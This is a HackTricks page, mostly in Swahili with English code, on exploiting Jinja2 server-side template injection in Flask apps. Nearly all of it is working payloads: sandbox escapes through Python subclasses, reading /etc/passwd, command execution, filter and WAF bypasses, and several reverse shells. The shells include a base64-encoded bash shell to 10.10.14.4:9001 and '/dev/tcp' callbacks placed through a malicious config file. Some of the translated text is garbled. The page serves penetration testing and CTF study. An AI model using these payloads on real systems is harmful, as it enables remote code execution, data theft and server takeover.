15 KiB
Jinja2 SSTI
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Misc
Debug Statement
Ikiwa Kiendelezi cha Debug kimewezeshwa, lebo ya debug
itapatikana ili kuonyesha muktadha wa sasa pamoja na filters na majaribio yanayopatikana. Hii ni muhimu kuona kile kinachopatikana kutumika katika kiolezo bila kuweka debugger.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Tupa kila mabadiliko ya usanidi
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
Kwanza kabisa, katika Jinja injection unahitaji kupata njia ya kutoroka kutoka kwenye sandbox na kurejesha ufikiaji wa mtiririko wa kawaida wa utekelezaji wa python. Ili kufanya hivyo, unahitaji kuitumia vibaya vitu ambavyo ni kutoka kwenye mazingira yasiyo ya sandbox lakini yanaweza kupatikana kutoka kwenye sandbox.
Accessing Global Objects
Kwa mfano, katika msimbo render_template("hello.html", username=username, email=email)
vitu username na email vinatoka kwenye mazingira yasiyo ya sandbox ya python na vitakuwa vinapatikana ndani ya mazingira ya sandbox.
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa daima vinapatikana kutoka kwenye mazingira ya sandbox, hivi ni:
[]
''
()
dict
config
request
Recovering <class 'object'>
Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: <class 'object'>
ili kujaribu kurejesha darasa zilizof定义. Hii ni kwa sababu kutoka kwa kitu hiki tunaweza kuita __subclasses__
mbinu na kupata darasa zote kutoka kwa mazingira ya python yasiyo na sandbox.
Ili kufikia hiyo darasa la kitu, unahitaji kufikia kitu cha darasa kisha ufikie ama __base__
, __mro__()[-1]
au .
mro()[-1]
. Na kisha, baada ya kufikia hii darasa la kitu tun aita __subclasses__()
.
Angalia mifano hii:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
Baada ya kurejesha <class 'object'>
na kuita __subclasses__
sasa tunaweza kutumia hizo darasa kusoma na kuandika faili na kutekeleza msimbo.
Kuita __subclasses__
kumetupa fursa ya kupata mamia ya kazi mpya, tutafurahia tu kwa kufikia darasa la faili ili kusoma/kuandika faili au darasa lolote lenye ufikiaji wa darasa ambalo linaruhusu kutekeleza amri (kama os
).
Soma/Andika faili ya mbali
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Ili kujifunza kuhusu madarasa zaidi ambayo unaweza kutumia ili kuepuka unaweza kuangalia:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Kuepuka vichujio
Kuepuka za kawaida
Hizi kuepuka zitaturuhusu kufikia sifa za vitu bila kutumia herufi fulani.
Tayari tumeona baadhi ya hizi kuepuka katika mifano ya awali, lakini hebu tuziwekee muhtasari hapa:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Rudi hapa kwa chaguzi zaidi za kufikia kitu cha kimataifa
- Rudi hapa kwa chaguzi zaidi za kufikia darasa la kitu
- Soma hii kupata RCE bila darasa la kitu
Kuepuka uandishi wa HTML
Kwa default, Flask huandika HTML ndani ya kiolezo kwa sababu za usalama:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
The safe
filter inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa bila kuwa HTML encoded, kama hii:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE kwa kuandika faili mbaya ya usanidi.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Bila herufi kadhaa
Bila {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Injection bila <class 'object'>
Kutoka kwa vitu vya kimataifa kuna njia nyingine ya kupata RCE bila kutumia darasa hilo.
Ikiwa utaweza kufikia kazi yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia __globals__.__builtins__
na kutoka hapo RCE ni rahisi sana.
Unaweza kupata kazi kutoka kwa vitu request
, config
na vitu vingine vyote vya kimataifa vya kuvutia ambavyo una ufikiaji navyo kwa:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Mara tu unapopata baadhi ya kazi unaweza kurejesha builtins kwa:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing ni chombo ambacho kimebobea katika CTFs lakini pia kinaweza kuwa na manufaa katika kubruuteforce param za kutokubalika katika hali halisi. Chombo hiki kinapiga maneno na maswali ili kugundua filters, kutafuta bypasses, na pia kinatoa console ya mwingiliano.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Angalia attr trick to bypass blacklisted chars in here.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group au telegram group au fuata sisi kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.